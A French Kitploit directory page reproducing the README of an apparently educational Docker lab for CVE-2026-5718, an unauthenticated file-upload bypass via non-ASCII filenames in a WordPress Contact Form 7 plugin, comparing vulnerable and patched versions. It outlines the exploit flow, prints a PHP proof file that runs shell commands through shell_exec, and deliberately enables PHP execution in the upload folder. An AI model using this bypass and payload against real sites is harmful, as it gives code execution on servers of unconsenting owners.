Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-5718-Lab — # Laboratoire Docker local démontrant le CVE-2026-5718, téléversement arbitraire de fichiers dans un plugin WordPress, avec services vulnérables et corrigés pour une analyse côte à côte de l'exploitation et de la défense. | Kitploit
Outils/GitHubGitHub/rootdirective-sec/cve-2026-5718-lab
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCTFApprentissage et ÉducationLabs et Pratique
GitHubrootdirective-sec/cve-2026-5718-lab

CVE-2026-5718-Lab

# Laboratoire Docker local démontrant le CVE-2026-5718, téléversement arbitraire de fichiers dans un plugin WordPress, avec services vulnérables et corrigés pour une analyse côte à côte de l'exploitation et de la défense.

Voir le dépôt
126il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-5718 Laboratoire Docker local

Laboratoire Docker local uniquement, comparant la version vulnérable et la version corrigée pour CVE-2026-5718, affectant le plugin WordPress Drag and Drop Multiple File Upload for Contact Form 7.

Ce laboratoire démontre la différence entre la version vulnérable 1.3.9.6 et la version corrigée 1.3.9.7 à l'aide d'une preuve d'exécution PHP à moindre impact dans un environnement exclusivement Docker.

Portée : localhost / réseau Docker uniquement. N'utilisez pas ce PoC contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de tester.


Résumé exécutif

CVE-2026-5718 est une vulnérabilité de téléversement arbitraire de fichier dans Drag and Drop Multiple File Upload for Contact Form 7 jusqu'à la version 1.3.9.6 incluse.

Le problème se déclenche lorsque des types de liste noire personnalisés sont configurés et que le nom de fichier contient des caractères non ASCII. Dans la version vulnérable, un téléversement dangereux de fichier .php peut contourner la protection prévue et rester exécutable. La version 1.3.9.7 corrige le problème en rejetant ce même téléversement.

Ce dépôt exécute deux services WordPress locaux :

  • vuln sur http://localhost:8081 avec la version 1.3.9.6 du plugin
  • patched sur http://localhost:8082 avec la version 1.3.9.7 du plugin

Architecture du laboratoire

root@kitploit:~
Host
├── http://localhost:8081  -> vulnerable WordPress service
└── http://localhost:8082  -> patched WordPress service

Docker network
├── vuln
├── vuln-db
├── patched
└── patched-db
ServiceObjectifPort hôteVersion
vulnLaboratoire WordPress vulnérable8081Plugin 1.3.9.6
patchedLaboratoire WordPress corrigé8082Plugin 1.3.9.7
vuln-dbBase de données MySQL pour le service vulnérableinterneMySQL 8.0
patched-dbBase de données MySQL pour le service corrigéinterneMySQL 8.0

Structure du dépôt

root@kitploit:~
.
├── docker-compose.yml
├── patched
│   └── Dockerfile
├── poc
│   └── poc.py
│   └── requirements.txt
├── scripts
│   └── seed-wordpress.sh
├── vuln
│   └── Dockerfile

Déroulement de la vulnérabilité

Le formulaire Contact Form 7 préconfiguré contient un champ Drag and Drop Multiple File Upload :

root@kitploit:~
[mfile upload-file filetypes:* blacklist-types:zip limit:1048576]

Le PoC téléverse un fichier de preuve PHP nommé :

root@kitploit:~
proof-β.php

Le caractère β est non ASCII. C'est important car la vulnérabilité dépend de la gestion du nom de fichier pour une entrée non ASCII.

Flux de haut niveau :

root@kitploit:~
PoC
 ↓
Fetch lab page and extract DnD CF7 AJAX nonce
 ↓
Upload proof-β.php through wp-admin/admin-ajax.php
 ↓
Vulnerable 1.3.9.6 accepts and stores the file as .php
 ↓
PoC requests the uploaded file
 ↓
Vulnerable lab executes the PHP proof as www-data

Flux corrigé :

root@kitploit:~
PoC
 ↓
Upload the same proof-β.php file
 ↓
Patched 1.3.9.7 rejects the upload
 ↓
No PHP file is stored and no code execution occurs

Conception de la preuve RCE locale

La preuve PHP téléversée est intentionnellement minimale :

root@kitploit:~
<?php
header('Content-Type: text/plain');
echo "CVE_2026_5718_LOCAL_RCE_PROOF\n";
echo "whoami=" . trim(shell_exec('whoami')) . "\n";
echo "id=" . trim(shell_exec('id')) . "\n";
?>

La preuve exécute uniquement whoami et id pour afficher le contexte d'exécution. Elle n'utilise pas de reverse shell, de persistance, d'accès aux identifiants, de mouvement latéral, de scan réseau ni d'actions destructrices.

Le service vulnérable autorise volontairement l'exécution PHP dans le répertoire de téléversement du plugin afin que l'impact soit observable dans ce laboratoire local. Le service corrigé conserve un comportement plus sûr et rejette le téléversement au niveau de la couche de validation applicative.


Prérequis

  • Docker Desktop
  • Docker Compose v2
  • Python 3

Installer les dépendances Python :

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install -r poc/requirements.txt

Construction et exécution

Démarrer depuis un état propre :

root@kitploit:~
docker compose down -v
docker compose up --build -d

Vérifier l'état des services :

root@kitploit:~
docker compose ps

Ouvrir les pages du laboratoire :

root@kitploit:~
http://localhost:8081/cve-2026-5718-lab/
http://localhost:8082/cve-2026-5718-lab/

Exécuter le PoC

Exécuter contre le service vulnérable :

root@kitploit:~
python poc/poc.py --base-url http://localhost:8081

Exécuter contre le service corrigé :

root@kitploit:~
python poc/poc.py --base-url http://localhost:8082

Le PoC n'accepte que les cibles localhost ou loopback.


Résultat attendu

Service vulnérable

Comportement attendu :

  • Le téléversement est accepté.
  • Le nom du fichier téléversé reste un fichier .php.
  • La preuve PHP téléversée s'exécute en tant qu'utilisateur du serveur web.

Exemple de sortie :

root@kitploit:~
Upload response:
{"success":true,"data":{"path":"cve5718proof","file":"proof-\u03b2.php"}}

Proof response:
CVE_2026_5718_LOCAL_RCE_PROOF
whoami=www-data
id=uid=33(www-data) gid=33(www-data) groups=33(www-data)

[result] VULNERABLE behavior observed: uploaded PHP proof executed.

Service corrigé

Comportement attendu :

  • Le même téléversement est rejeté.
  • La preuve PHP n'est pas stockée comme fichier exécutable.
  • Aucune exécution de code ne se produit.

Exemple de sortie :

root@kitploit:~
Upload response:
{"success":false,"data":"Uploaded file is not allowed for file type"}

[result] Upload rejected by the application.
[result] Reason: Uploaded file is not allowed for file type

Notes de sécurité

Ce laboratoire est volontairement limité aux tests locaux.

Le PoC :

  • bloque les cibles non localhost,
  • n'utilise pas de reverse shell,
  • n'effectue pas de persistance,
  • ne lit pas de secrets,
  • ne scanne pas de réseaux,
  • exécute uniquement whoami et id dans le conteneur vulnérable.

Le service vulnérable assouplit l'exécution PHP dans le répertoire de téléversement uniquement pour rendre la preuve locale observable. Ne copiez pas cette configuration en production.


Nettoyage

Arrêter les conteneurs :

root@kitploit:~
docker compose down

Supprimer les conteneurs et les volumes :

root@kitploit:~
docker compose down -v

Supprimer l'environnement virtuel Python :

root@kitploit:~
rm -rf .venv

Références

  • NVD : CVE-2026-5718 https://nvd.nist.gov/vuln/detail/CVE-2026-5718

  • Avis Patchstack : WordPress Drag and Drop Multiple File Upload for Contact Form 7 Plugin <= 1.3.9.6 - Unauthenticated Arbitrary File Upload via Non-ASCII Filename Blacklist Bypass https://patchstack.com/database/wordpress/plugin/drag-and-drop-multiple-file-upload-contact-form-7/vulnerability/wordpress-drag-and-drop-multiple-file-upload-for-contact-form-7-plugin-1-3-9-6-unauthenticated-arbitrary-file-upload-via-non-ascii-filename-blacklist-bypass-vulnerability

  • Wordfence Intelligence : Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.9.6 - Unauthenticated Arbitrary File Upload via Non-ASCII Filename Blacklist Bypass https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/drag-and-drop-multiple-file-upload-contact-form-7/drag-and-drop-multiple-file-upload-for-contact-form-7-1396-unauthenticated-arbitrary-file-upload-via-non-ascii-filename-blacklist-bypass

  • GitHub Advisory Database : GHSA-xj7v-jqv6-v48w https://github.com/advisories/GHSA-xj7v-jqv6-v48w

  • Page du plugin WordPress.org : Drag and Drop Multiple File Upload for Contact Form 7 https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/

  • Page du fournisseur du plugin : Drag & Drop Multiple File Upload for Contact Form 7 https://www.codedropz.com/drag-drop-multiple-file-upload-for-contact-form-7/


Avertissement

Ce dépôt est destiné uniquement à la recherche en sécurité éducative et défensive. Il est conçu pour s'exécuter uniquement sur localhost avec Docker. N'utilisez pas le PoC contre des systèmes publics ou tiers.

Télécharger l’outil